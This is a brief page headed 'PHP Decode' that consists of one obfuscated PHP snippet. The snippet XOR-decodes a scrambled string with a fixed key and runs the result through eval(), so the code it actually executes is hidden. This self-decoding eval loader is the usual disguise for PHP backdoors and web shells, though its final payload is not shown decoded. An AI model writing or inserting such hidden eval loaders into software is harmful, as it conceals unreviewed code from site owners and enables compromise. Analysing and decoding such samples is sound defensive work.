PHP Decode

<?  $NAMDEVEL_bf9f084=function($str="5\RYQSA]]M!rp'\$%wg}waxv96]UXRRNT^Lr&\"%+=6]UXRRNT^Lvq&%z8iSqcw{05\RYQSA]]Mu'!\$\$0ss`q#\"H|tq|pp>3VP_WQCS[Gsv#&w?>1*o(0[WZ\TDVXJ\$q} !;|pn%zx|;6#! y'+%q# !{'#\$ ##51=wkdyys}9agfgsa03()xp`r||s]6<:W~x~vKrscGr}}`pxck9M]UXRRNT^Lu,.s/!t =<M%E8)"){$ky=str_replace(chr(32),"","12345678");if(strlen($ky)<8)exit();$kl=strlen($ky)<32?strlen($ky):32;$k=array();for($i=0;$i<$kl;$i++){$k[$i]=ord($ky{$i})&0x1F;}$j=0;for($i=0;$i<strlen($str);$i++){$e=ord($str{$i});$str{$i}=$e&0xE0?chr($e^$k[$j]):chr($e);$j++;$j=$j==$kl?0:$j;}eval($str);};$NAMDEVEL_bf9f084();